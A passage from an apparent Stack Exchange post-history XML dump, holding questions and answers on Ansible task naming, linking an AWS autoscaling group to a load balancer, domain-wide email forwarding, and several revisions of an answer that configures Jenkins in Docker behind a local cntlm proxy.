gather_facts: true&#xD;&#xA;      roles:&#xD;&#xA;        - common&#xD;&#xA;        - consul-client&#xD;&#xA;        - hosts&#xD;&#xA;        #- node-exporter&#xD;&#xA;        - cron&#xD;&#xA;        - jenkins-slave&#xD;&#xA;&#xD;&#xA;While I run the &quot;common&quot; role on a server, I want to know which imported_tasks file is currently running for debug matters. So for example, while Ansible &quot;takes care&quot; for the installation of base packages, I want to add &quot;base_packages.yml&quot; to the title of the task.&#xD;&#xA;&#xD;&#xA;I looked through the [list of Ansible special variables][1] but couldn't find the variable that I need.&#xD;&#xA;&#xD;&#xA;There is one special variable that looks right &quot;{{ ansible_play_name }}&quot; but that gives me &quot;localhost&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/reference_appendices/special_variables.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="35669" PostHistoryTypeId="1" PostId="11651" RevisionGUID="f8a33b8a-6b14-4970-9f11-01cf212faa9b" CreationDate="2020-05-19T16:52:37.600" UserId="12614" Text="Ansible: how to display the name of the currently running included_tasks playbook file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35670" PostHistoryTypeId="3" PostId="11651" RevisionGUID="f8a33b8a-6b14-4970-9f11-01cf212faa9b" CreationDate="2020-05-19T16:52:37.600" UserId="12614" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35671" PostHistoryTypeId="2" PostId="11652" RevisionGUID="b3181732-214a-4c9d-998d-0df4b71d52e8" CreationDate="2020-05-19T17:40:06.573" UserId="7715" Text="If you want to &quot;add base_packages.yml to the title of the task&quot; you'll have to add it to the names of the tasks. For example&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; cat base_packages.yml&#xD;&#xA;---&#xD;&#xA;- name: &quot;base_packages: .... &quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`sed` might help to automate it." ContentLicense="CC BY-SA 4.0" />
  <row Id="35673" PostHistoryTypeId="36" PostId="11653" RevisionGUID="4ac6a52a-ed8f-47ca-8af1-c183f667f5f3" CreationDate="2020-05-19T20:45:19.240" UserId="-1" Comment="from https://superuser.com/questions/1553286/is-it-possible-to-connect-an-aws-autoscaling-group-with-an-application-load-bala" />
  <row Id="35674" PostHistoryTypeId="2" PostId="11653" RevisionGUID="8379fd59-0476-4895-9dfb-5008f2ce11ec" CreationDate="2020-05-19T20:18:10.450" UserDisplayName="juanp_1982" Text="I'm working with AWS cloudformation I have an autoscaling group for a couple of machines running an API server, and I would like to set up an application load balancer as a single entry point, so that client application only sees one URL. I was able to create the load balancer and the autoscaling group but I don't know how to connect them.&#xD;&#xA;&#xD;&#xA;    Resources:&#xD;&#xA;      NodeLaunchConfig:&#xD;&#xA;        Type: AWS::AutoScaling::LaunchConfiguration&#xD;&#xA;        Properties:&#xD;&#xA;          AssociatePublicIpAddress: false&#xD;&#xA;          # IamInstanceProfile: !Ref NodeInstanceProfile&#xD;&#xA;          ImageId: !Ref NodeImageId&#xD;&#xA;          InstanceType: !Ref NodeInstanceType&#xD;&#xA;          KeyName: !Ref KeyName&#xD;&#xA;          # SecurityGroups is like this on purpuse, this work, IGNORE the error message if any&#xD;&#xA;          SecurityGroups: !Ref NodeSecurityGroup&#xD;&#xA;          BlockDeviceMappings:&#xD;&#xA;            - DeviceName: /dev/xvda&#xD;&#xA;              Ebs:&#xD;&#xA;                VolumeSize: 200&#xD;&#xA;                VolumeType: gp2&#xD;&#xA;                DeleteOnTermination: true&#xD;&#xA;    &#xD;&#xA;      NodeGroup:&#xD;&#xA;        Type: AWS::AutoScaling::AutoScalingGroup&#xD;&#xA;        DependsOn: LoadBalancer&#xD;&#xA;        Properties:&#xD;&#xA;          LaunchConfigurationName: !Ref NodeLaunchConfig&#xD;&#xA;          DesiredCapacity: &quot;1&quot;&#xD;&#xA;          MinSize: &quot;0&quot;&#xD;&#xA;          MaxSize: &quot;10&quot;&#xD;&#xA;          # TargetGroupARNs:&#xD;&#xA;          #   - !Ref LoadBalancer&#xD;&#xA;          TerminationPolicies:&#xD;&#xA;            - NewestInstance&#xD;&#xA;          # VPCZoneIdentifier is like this on purpuse, this work, IGNORE the error message if any&#xD;&#xA;          VPCZoneIdentifier: !Ref Subnets&#xD;&#xA;          Tags:&#xD;&#xA;            - Key: Name&#xD;&#xA;              Value: !Sub ${AWS::StackName}-node&#xD;&#xA;              PropagateAtLaunch: true&#xD;&#xA;            - Key: Owner&#xD;&#xA;              Value: !Ref Owner&#xD;&#xA;              PropagateAtLaunch: true&#xD;&#xA;            - Key: Department&#xD;&#xA;              Value: AI&#xD;&#xA;              PropagateAtLaunch: true&#xD;&#xA;            - Key: Env&#xD;&#xA;              Value: !Ref Environment&#xD;&#xA;              PropagateAtLaunch: true&#xD;&#xA;            - Key: Job&#xD;&#xA;              Value: KubernetesGroupNode&#xD;&#xA;              PropagateAtLaunch: true&#xD;&#xA;        UpdatePolicy:&#xD;&#xA;          AutoScalingRollingUpdate:&#xD;&#xA;            MaxBatchSize: 1&#xD;&#xA;            MinInstancesInService: 1&#xD;&#xA;            PauseTime: PT5M&#xD;&#xA;    &#xD;&#xA;      LoadBalancer:&#xD;&#xA;        Type: AWS::ElasticLoadBalancingV2::LoadBalancer&#xD;&#xA;        Properties:&#xD;&#xA;          Name: decrypt-loadbalancer&#xD;&#xA;          # SecurityGroups is like this on purpuse, this work, IGNORE the error message if any&#xD;&#xA;          SecurityGroups: !Ref NodeSecurityGroup&#xD;&#xA;          # Subnets is like this on purpuse, this work, IGNORE the error message if any&#xD;&#xA;          Subnets: !Ref Subnets&#xD;&#xA;          Tags:&#xD;&#xA;            - Key: Name&#xD;&#xA;              Value: !Sub ${AWS::StackName}-node&#xD;&#xA;            - Key: Owner&#xD;&#xA;              Value: !Ref Owner&#xD;&#xA;            - Key: Department&#xD;&#xA;              Value: AI&#xD;&#xA;            - Key: Env&#xD;&#xA;              Value: !Ref Environment&#xD;&#xA;            - Key: Job&#xD;&#xA;              Value: KubernetesGroupNode&#xD;&#xA;          Type: application" ContentLicense="CC BY-SA 4.0" />
  <row Id="35675" PostHistoryTypeId="1" PostId="11653" RevisionGUID="8379fd59-0476-4895-9dfb-5008f2ce11ec" CreationDate="2020-05-19T20:18:10.450" UserDisplayName="juanp_1982" Text="is it possible to connect an AWS autoscaling group with an application load balancer?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35676" PostHistoryTypeId="3" PostId="11653" RevisionGUID="8379fd59-0476-4895-9dfb-5008f2ce11ec" CreationDate="2020-05-19T20:18:10.450" UserDisplayName="juanp_1982" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35677" PostHistoryTypeId="2" PostId="11654" RevisionGUID="5fbd1e43-88af-4ab9-87b7-8ff4227bd7d8" CreationDate="2020-05-20T00:09:35.947" UserId="22353" Text="I recently acquired the .com of my company name; previously been using .net domain.&#xD;&#xA;&#xD;&#xA;I don’t want to switch emails from  .net, is it possible to setup anything at my .com to forward to my .net transparently?&#xD;&#xA;&#xD;&#xA;I.E. somebody emails sales@mycompany.com and it forwards the message to sales@mycompany.net keeping the original sender name and address." ContentLicense="CC BY-SA 4.0" />
  <row Id="35678" PostHistoryTypeId="1" PostId="11654" RevisionGUID="5fbd1e43-88af-4ab9-87b7-8ff4227bd7d8" CreationDate="2020-05-20T00:09:35.947" UserId="22353" Text="Forwarding email for an entire domain" ContentLicense="CC BY-SA 4.0" />
  <row Id="35679" PostHistoryTypeId="3" PostId="11654" RevisionGUID="5fbd1e43-88af-4ab9-87b7-8ff4227bd7d8" CreationDate="2020-05-20T00:09:35.947" UserId="22353" Text="&lt;email&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35680" PostHistoryTypeId="2" PostId="11655" RevisionGUID="9d6c80e7-17ce-4aaa-8174-2c20481c1244" CreationDate="2020-05-20T02:44:59.980" UserId="5284" Text="You have all the necessary tools for the 2 use cases you mentioned. For application development, it looks like you have something already set up.  I'm assuming, for time's sake, you have automated both code quality and security scanning of your application and that is all working.  If you haven't already started packaging your applications into helm to deploy into kubernetes I suggest you do that.  What your looking to do is automate your deployments of pre-built applications and infrastructure into EKS or cloud (aws). &#xD;&#xA;&#xD;&#xA;To deploy applications onto your EKS cluster terraform allows you to deploy via helm.  So your Jenkins pipeline can deploy your terraform infrastructure which utilize the providers for kubernetes, eks, helm, AWS and more to provision and configure your infrastructure and applications. There is a separate pipeline usually for custom apps, pre-built apps, and infrastructure.  Each has it's own quality, security, and resiliency checks needed so you may need some additional tools as you go forward. &#xD;&#xA;&#xD;&#xA;For example here is a link to the Hashicorps website on using terraform in automated pipelines.  Note it's considered advanced https://learn.hashicorp.com/terraform/development/running-terraform-in-automation&#xD;&#xA;&#xD;&#xA;At this point I'm not sure what you're using Ansible for as that's not necessary for EKS and it's services but if you still need it in parallel to terraform there are plugins to Jenkins https://plugins.jenkins.io/ansible/.   There's also one for terraform https://plugins.jenkins.io/terraform// &#xD;&#xA;&#xD;&#xA;So in short, no need to start adding tools but exploring the ones you have.  The way to look at it is this: &#xD;&#xA;&#xD;&#xA; - Task Runner and orchestrator for CI/CD: Jenkins&#xD;&#xA;   - this will orchestrate all CI/CD&#xD;&#xA; - Application deployment: Helm&#xD;&#xA;   - this would deploy and version all applications&#xD;&#xA;   - applications can be deployed via jenkins or terraform&#xD;&#xA; - Infrastructure deployment: Terraform&#xD;&#xA;   - initial testing done manually but Jenkins can run terraform to deploy infrastructure and base services.  &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35682" PostHistoryTypeId="5" PostId="11645" RevisionGUID="243eaded-0352-4e7b-b063-8f42234283da" CreationDate="2020-05-20T04:52:52.430" UserId="22312" Comment="added 40 characters in body; deleted 8 characters in body" Text="I believe that the problem lies on your proxy environment variables.&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    -p 7000:8080 \&#xD;&#xA;    -p 50000:50000 \&#xD;&#xA;    --env HTTP_PROXY=&quot;http:// localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;https:// localhost:8080&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;The values of `$HTTP_PROXY` and `$HTTP_PROXY` are not supposed to have space characters on them and the protocol should be `http`. Additionally, although setting `$HTTP_PROXY` is useful for compatibility with other applications running inside the container, `curl` expects the HTTP proxy environment variable to be written in lowercase, that is, `$http_proxy`. From [`curl (1)` manual page](https://linux.die.net/man/1/curl):&#xD;&#xA;&#xD;&#xA;&gt; ## Environment&#xD;&#xA;&gt; &#xD;&#xA;&gt; The environment variables can be specified in lower case or upper case. The lower case version has precedence. `http_proxy` is an exception as it is only available in lower case.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `http_proxy [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for HTTP.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `HTTPS_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for HTTPS.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `FTP_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for FTP.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `ALL_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use if no protocol-specific proxy is set.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `NO_PROXY &lt;comma-separated list of hosts&gt;`&#xD;&#xA;&gt; list of host names that shouldn't go through any proxy. If set to a asterisk '*' only, it matches all hosts.&#xD;&#xA;&#xD;&#xA;Therefore the `docker run` command might be written as below:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    -p 7000:8080 \&#xD;&#xA;    -p 50000:50000 \&#xD;&#xA;    --env HTTP_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env http_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env https_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;However, my solution will certainly not work because the port 8080 inside the container is being used by Jenkins and not by a HTTP proxy. Please, could you provide more information on how your work proxy is set up so I can edit my answer with more accurate details? Are you running a HTTP proxy such as `squid` or `cntlm` in your computer that receives requests from applications running in your workstation and forwards them to the corporate proxy after authentication? If so, you will need to adjust container's network configuration according to Stack Overflow question [From inside of a Docker container, how do I connect to the localhost of the machine?](https://stackoverflow.com/q/24319662)." ContentLicense="CC BY-SA 4.0" />
  <row Id="35686" PostHistoryTypeId="2" PostId="11657" RevisionGUID="6236ff17-7e5f-408b-b0e0-a62d24af42ee" CreationDate="2020-05-20T12:02:02.117" UserId="22360" Text="depending of the registar and where your email server is you can. For example Ionos (ex 1and1) allow user to redirect any un-existing email to another email. This is done with the wildcard *@yourdomainname.ext" ContentLicense="CC BY-SA 4.0" />
  <row Id="35695" PostHistoryTypeId="5" PostId="11645" RevisionGUID="1a32c1d4-b0e2-44d5-a64d-5a147426d7e8" CreationDate="2020-05-20T13:38:23.430" UserId="22312" Comment="added 2098 characters in body" Text="I believe that the problem lies on your proxy environment variables.&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    -p 7000:8080 \&#xD;&#xA;    -p 50000:50000 \&#xD;&#xA;    --env HTTP_PROXY=&quot;http:// localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;https:// localhost:8080&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;The values of `$HTTP_PROXY` and `$HTTP_PROXY` are not supposed to have space characters on them and the protocol should be `http`. Additionally, although setting `$HTTP_PROXY` is useful for compatibility with other applications running inside the container, `curl` expects the HTTP proxy environment variable to be written in lowercase, that is, `$http_proxy`. From [`curl (1)` manual page](https://linux.die.net/man/1/curl):&#xD;&#xA;&#xD;&#xA;&gt; ## Environment&#xD;&#xA;&gt; &#xD;&#xA;&gt; The environment variables can be specified in lower case or upper case. The lower case version has precedence. `http_proxy` is an exception as it is only available in lower case.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `http_proxy [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for HTTP.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `HTTPS_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for HTTPS.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `FTP_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for FTP.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `ALL_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use if no protocol-specific proxy is set.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `NO_PROXY &lt;comma-separated list of hosts&gt;`&#xD;&#xA;&gt; list of host names that shouldn't go through any proxy. If set to a asterisk '*' only, it matches all hosts.&#xD;&#xA;&#xD;&#xA;Therefore the `docker run` command might be written as below:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    -p 7000:8080 \&#xD;&#xA;    -p 50000:50000 \&#xD;&#xA;    --env HTTP_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env http_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env https_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;However, my solution will certainly not work because the port 8080 inside the container is being used by Jenkins and not by a HTTP proxy. Please, could you provide more information on how your work proxy is set up so I can edit my answer with more accurate details? Are you running a HTTP proxy such as `squid` or `cntlm` in your computer that receives requests from applications running in your workstation and forwards them to the corporate proxy after authentication? If so, you will need to adjust container's network configuration according to Stack Overflow question [From inside of a Docker container, how do I connect to the localhost of the machine?](https://stackoverflow.com/q/24319662).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**EDIT:** According to comments, a `cntlm` instance running locally on port `8080/tcp` provides a HTTP proxy service that local applications must use in order to access internet. I believe that the least complex way to expose it to Jenkins container is by specifying `--network=host` parameter and sharing [the root network namespace](https://lwn.net/Articles/580893/) with the Jenkins container. However, Jenkins is set to listen the port `8080/tcp` by default, therefore it must be instructed to listen to an alternative port, such as `7000/tcp`. That can be achieved by passing [`--httpPort=#` command line argument](https://stackoverflow.com/a/15265306) to Jenkins via [`JENKINS_OPTS` environment variable](https://github.com/jenkinsci/docker/blob/master/README.md#configuring-reverse-proxy).&#xD;&#xA;&#xD;&#xA;**EDIT 2:** While analyzing the [repository code](https://github.com/jenkinsci/docker/), I've realized that Jenkins is a Java application and I am not sure that JVM recognizes `$http_proxy` and `$https_proxy` environment variables properly. So, to ensure that Jenkins will use `cntlm` as HTTP proxy, I also suggest passing [proxy configuration properties](https://docs.oracle.com/javase/8/docs/api/java/net/doc-files/net-properties.html) to the JVM via the [`JAVA_OPTS` environment variable](https://github.com/jenkinsci/docker/blob/master/README.md#passing-jvm-parameters).&#xD;&#xA;&#xD;&#xA;To sum up, the `docker run` command have to be written as below for Jenkins to work in your environment:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    --network=host \&#xD;&#xA;    --env HTTP_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env http_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env https_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env JAVA_OPTS=&quot;-Dhttp.proxyHost=localhost -Dhttp.proxyPort=8080 -Dhttps.proxyHost=localhost -Dhttps.proxyPort=8080&quot; \&#xD;&#xA;    --env JENKINS_OPTS=&quot;--httpPort=7000&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Passing `--env JAVA_OPTS=&quot;-Djava.net.useSystemProxies=true&quot;` instead might work. I am not able to perform a try, though," ContentLicense="CC BY-SA 4.0" />
  <row Id="35697" PostHistoryTypeId="5" PostId="11645" RevisionGUID="29259ad9-2130-41e4-b8ca-d13bef7747e7" CreationDate="2020-05-20T13:57:50.007" UserId="22312" Comment="added 191 characters in body" Text="I believe that the problem lies on your proxy environment variables.&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    -p 7000:8080 \&#xD;&#xA;    -p 50000:50000 \&#xD;&#xA;    --env HTTP_PROXY=&quot;http:// localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;https:// localhost:8080&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;The values of `$HTTP_PROXY` and `$HTTP_PROXY` are not supposed to have space characters on them and the protocol should be `http`. Additionally, although setting `$HTTP_PROXY` is useful for compatibility with other applications running inside the container, `curl` expects the HTTP proxy environment variable to be written in lowercase, that is, `$http_proxy`. From [`curl (1)` manual page](https://linux.die.net/man/1/curl):&#xD;&#xA;&#xD;&#xA;&gt; ## Environment&#xD;&#xA;&gt; &#xD;&#xA;&gt; The environment variables can be specified in lower case or upper case. The lower case version has precedence. `http_proxy` is an exception as it is only available in lower case.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `http_proxy [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for HTTP.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `HTTPS_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for HTTPS.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `FTP_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for FTP.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `ALL_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use if no protocol-specific proxy is set.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `NO_PROXY &lt;comma-separated list of hosts&gt;`&#xD;&#xA;&gt; list of host names that shouldn't go through any proxy. If set to a asterisk '*' only, it matches all hosts.&#xD;&#xA;&#xD;&#xA;Therefore the `docker run` command might be written as below:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    -p 7000:8080 \&#xD;&#xA;    -p 50000:50000 \&#xD;&#xA;    --env HTTP_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env http_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env https_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;However, my solution will certainly not work because the port 8080 inside the container is being used by Jenkins and not by a HTTP proxy. Please, could you provide more information on how your work proxy is set up so I can edit my answer with more accurate details? Are you running a HTTP proxy such as `squid` or `cntlm` in your computer that receives requests from applications running in your workstation and forwards them to the corporate proxy after authentication? If so, you will need to adjust container's network configuration according to Stack Overflow question [From inside of a Docker container, how do I connect to the localhost of the machine?](https://stackoverflow.com/q/24319662).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**EDIT:** According to comments, a `cntlm` instance running locally on port `8080/tcp` provides a HTTP proxy service that local applications must use in order to access internet. I believe that the least complex way to expose it to Jenkins container is by specifying `--network=host` parameter and sharing [the root network namespace](https://lwn.net/Articles/580893/) with the Jenkins container. However, Jenkins is set to listen the port `8080/tcp` by default, therefore it must be instructed to listen to an alternative port, such as `7000/tcp`. That can be achieved by passing [`--httpPort=#` command line argument](https://stackoverflow.com/a/15265306) to Jenkins via [`JENKINS_OPTS` environment variable](https://github.com/jenkinsci/docker/blob/master/README.md#configuring-reverse-proxy).&#xD;&#xA;&#xD;&#xA;**EDIT 2:** While analyzing the [repository code](https://github.com/jenkinsci/docker/), I've realized that Jenkins is a Java application and I am not sure that JVM recognizes `$http_proxy` and `$https_proxy` environment variables properly. So, to ensure that Jenkins will use `cntlm` as HTTP proxy, I also suggest passing [proxy configuration properties](https://docs.oracle.com/javase/8/docs/api/java/net/doc-files/net-properties.html) to the JVM via the [`JAVA_OPTS` environment variable](https://github.com/jenkinsci/docker/blob/master/README.md#passing-jvm-parameters).&#xD;&#xA;&#xD;&#xA;**EDIT 3:** The Docker image [`jenkins`](https://hub.docker.com/_/jenkins) is deprecated in favor of the [`jenkins/jenkins:lts`](https://hub.docker.com/r/jenkins/jenkins) one.&#xD;&#xA;&#xD;&#xA;To sum up, the `docker run` command have to be written as below for Jenkins to work in your environment:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    --network=host \&#xD;&#xA;    --env HTTP_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env http_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env https_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env JAVA_OPTS=&quot;-Dhttp.proxyHost=localhost -Dhttp.proxyPort=8080 -Dhttps.proxyHost=localhost -Dhttps.proxyPort=8080&quot; \&#xD;&#xA;    --env JENKINS_OPTS=&quot;--httpPort=7000&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins/jenkins:lts&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Passing `--env JAVA_OPTS=&quot;-Djava.net.useSystemProxies=true&quot;` instead might work. I am not able to perform a try, though," ContentLicense="CC BY-SA 4.0" />
  <row Id="35698" PostHistoryTypeId="5" PostId="11645" RevisionGUID="994af22b-2131-4b4a-87e4-f9691b0b36bf" CreationDate="2020-05-20T14:03:41.660" UserId="22312" Comment="added 10 characters in body" Text="I believe that the problem lies on your proxy environment variables.&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    -p 7000:8080 \&#xD;&#xA;    -p 50000:50000 \&#xD;&#xA;    --env HTTP_PROXY=&quot;http:// localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;https:// localhost:8080&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;The values of `$HTTP_PROXY` and `$HTTP_PROXY` are not supposed to have space characters on them and the protocol should be `http`. Additionally, although setting `$HTTP_PROXY` is useful for compatibility with other applications running inside the container, `curl` expects the HTTP proxy environment variable to be written in lowercase, that is, `$http_proxy`. From [`curl (1)` manual page](https://linux.die.net/man/1/curl):&#xD;&#xA;&#xD;&#xA;&gt; ## Environment&#xD;&#xA;&gt; &#xD;&#xA;&gt; The environment variables can be specified in lower case or upper case. The lower case version has precedence. `http_proxy` is an exception as it is only available in lower case.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `http_proxy [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for HTTP.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `HTTPS_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for HTTPS.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `FTP_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for FTP.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `ALL_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use if no protocol-specific proxy is set.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `NO_PROXY &lt;comma-separated list of hosts&gt;`&#xD;&#xA;&gt; list of host names that shouldn't go through any proxy. If set to a asterisk '*' only, it matches all hosts.&#xD;&#xA;&#xD;&#xA;Therefore the `docker run` command might be written as below:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    -p 7000:8080 \&#xD;&#xA;    -p 50000:50000 \&#xD;&#xA;    --env HTTP_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env http_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env https_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;However, my solution will certainly not work because the port 8080 inside the container is being used by Jenkins and not by a HTTP proxy. Please, could you provide more information on how your work proxy is set up so I can edit my answer with more accurate details? Are you running a HTTP proxy such as `squid` or `cntlm` in your computer that receives requests from applications running in your workstation and forwards them to the corporate proxy after authentication? If so, you will need to adjust container's network configuration according to Stack Overflow question [From inside of a Docker container, how do I connect to the localhost of the machine?](https://stackoverflow.com/q/24319662).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**EDIT:** According to comments, a `cntlm` instance running locally on port `8080/tcp` provides a HTTP proxy service that local applications must use in order to access internet. I believe that the least complex way to expose it to Jenkins container is by specifying `--network=host` parameter and sharing [the root network namespace](https://lwn.net/Articles/580893/) with the Jenkins container. However, Jenkins is set to listen the port `8080/tcp` by default, therefore it must be instructed to listen to an alternative port, such as `7000/tcp`. That can be achieved by passing [`--httpPort=#` command line argument](https://stackoverflow.com/a/15265306) to Jenkins via [`JENKINS_OPTS` environment variable](https://github.com/jenkinsci/docker/blob/master/README.md#passing-jenkins-launcher-parameters).&#xD;&#xA;&#xD;&#xA;**EDIT 2:** While analyzing the [repository code](https://github.com/jenkinsci/docker/), I've realized that Jenkins is a Java application and I am not sure that JVM recognizes `$http_proxy` and `$https_proxy` environment variables properly. So, to ensure that Jenkins will use `cntlm` as HTTP proxy, I also suggest passing [proxy configuration properties](https://docs.oracle.com/javase/8/docs/api/java/net/doc-files/net-properties.html) to the JVM via the [`JAVA_OPTS` environment variable](https://github.com/jenkinsci/docker/blob/master/README.md#passing-jvm-parameters).&#xD;&#xA;&#xD;&#xA;**EDIT 3:** The Docker image [`jenkins`](https://hub.docker.com/_/jenkins) is deprecated in favor of the [`jenkins/jenkins:lts`](https://hub.docker.com/r/jenkins/jenkins) one.&#xD;&#xA;&#xD;&#xA;To sum up, the `docker run` command have to be written as below for Jenkins to work in your environment:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    --network=host \&#xD;&#xA;    --env HTTP_PROXY=&quot;http://localhost:8080&quot; 